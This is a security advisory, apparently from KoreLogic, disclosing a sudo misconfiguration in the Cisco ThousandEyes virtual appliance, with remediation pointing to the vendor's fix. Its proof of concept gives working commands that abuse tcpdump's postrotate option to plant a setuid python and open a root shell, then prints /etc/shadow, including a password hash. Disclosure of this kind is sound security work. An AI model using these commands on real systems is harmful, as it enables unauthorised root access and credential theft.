Cisco ThousandEyes Enterprise Agent Virtual Appliance Privilege Escalation via tcpdump

Vulnerability Description

An insecure sudo configuration permits a low-privilege user to run arbitrary commands as root via the ‘tcpdump’ command without a password.

Technical Description

The ThousandEyes Virtual Appliance is distributed with a restrictive set of commands that can be executed via sudo, without having to provide the password for the ‘thousandeyes’ account. However, the ability to execute tcpdump via sudo is permitted without requiring the password. The post-rotate functionality of tcpdump can be used to execute arbitrary commands on the virtual appliance, allowing a privilege escalation to root. This is a known privilege escalation path, but had not been disclosed for the ThousandEyes Virtual Appliance.

  $ ssh -c aes256-ctr -p 22 -i 1000eyes-id_rsa thousandeyes@1.3.3.7
  Welcome to ThousandEyes!
  Last login: Tue Jan  3 20:16:37 2023 from 1.3.3.8
  thousandeyes@thousandeyes-va:~$ id
  uid=1000(thousandeyes) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
  thousandeyes@thousandeyes-va:~$ sudo -l
  Matching Defaults entries for thousandeyes on thousandeyes-va:
      env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

  User thousandeyes may run the following commands on thousandeyes-va:
      (ALL : ALL) ALL
      (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, /bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
          te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
          te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, /usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
          /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, /usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
          te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, /usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
      (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump

Here we see that tcpdump is available as root with no password, and no restrictions on the arguments it can be passed.

Prepare a malicious script, then have tcpdump execute it as a postrotate command. Note, this needs to be more than simply a setuid copy of bash as it will drop privs if UID!=EUID, but python will not.

  thousandeyes@thousandeyes-va:~$ cat /tmp/x4
  COMMAND='cp /usr/bin/python3.6 /python3.6; chmod u+s /python3.6'
  TF=$(mktemp)
  echo "$COMMAND" > $TF
  chmod +x $TF
  sudo /usr/sbin/tcpdump -ln -i lo -w /dev/null -W 1 -G 1 -z $TF -Z root

  thousandeyes@thousandeyes-va:~$ cat /tmp/runme4
  /python3.6 -c 'import os; os.setuid(0); os.system("/bin/sh")'

  thousandeyes@thousandeyes-va:~$ /tmp/x4
  dropped privs to root
  tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes

In another ssh session as the ‘thousandeyes’ user, execute ‘ping -c 1 127.0.0.1’ to trigger tcpdump rotation:

  Maximum file limit reached: 1
  1 packet captured
  4 packets received by filter
  0 packets dropped by kernel

Execute the setuid python which then launches a shell:

  thousandeyes@thousandeyes-va:/tmp$ /tmp/runme4
  # id
  uid=0(root) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)

  # bash
  root@thousandeyes-va:~# id
  uid=0(root) gid=1000(thousandeyes) groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)

  root@thousandeyes-va:~# cat /etc/shadow
  root:!:19145:0:99999:7:::
  daemon:!*:18885:0:99999:7:::
  bin:!*:18885:0:99999:7:::
  sys:!*:18885:0:99999:7:::
  sync:!*:18885:0:99999:7:::
  games:!*:18885:0:99999:7:::
  man:!*:18885:0:99999:7:::
  lp:!*:18885:0:99999:7:::
  mail:!*:18885:0:99999:7:::
  news:!*:18885:0:99999:7:::
  uucp:!*:18885:0:99999:7:::
  proxy:!*:18885:0:99999:7:::
  www-data:!*:18885:0:99999:7:::
  backup:!*:18885:0:99999:7:::
  list:!*:18885:0:99999:7:::
  irc:!*:18885:0:99999:7:::
  gnats:!*:18885:0:99999:7:::
  nobody:*:18885:0:99999:7:::
  systemd-network:!*:18885:0:99999:7:::
  systemd-resolve:!*:18885:0:99999:7:::
  syslog:!*:18885:0:99999:7:::
  messagebus:!*:18885:0:99999:7:::
  _apt:!*:18885:0:99999:7:::
  thousandeyes:$6$qvB7Zfsh1fFCuBM9$l3X3Gj/7v.IY54N5YMFj5hpd.FbYOfqFPRcNxcOslO3M1MFfxcnUk1MNqtivetWIOTIfv.Z3ELQh5PPTUc2YL0:19146:7:364:30:::
  rdnssd:!*:19146:7:99999:30:::
  browserbot:!:19146::::::
  cntlm:!*:19146:7:99999:30:::
  sshd:!*:19146:7:99999:30:::
  root@thousandeyes-va:~#

Mitigation and Remediation Recommendation

The vendor has released a version which remediates the described vulnerability. Release notes are available at:

https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-thoueye-privesc-NVhHGwb3

Credit

This vulnerability was discovered by Jim Becher of KoreLogic, Inc.

Proof of Concept

See 3. Technical Description.

The contents of this advisory are copyright(c) 2023 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/

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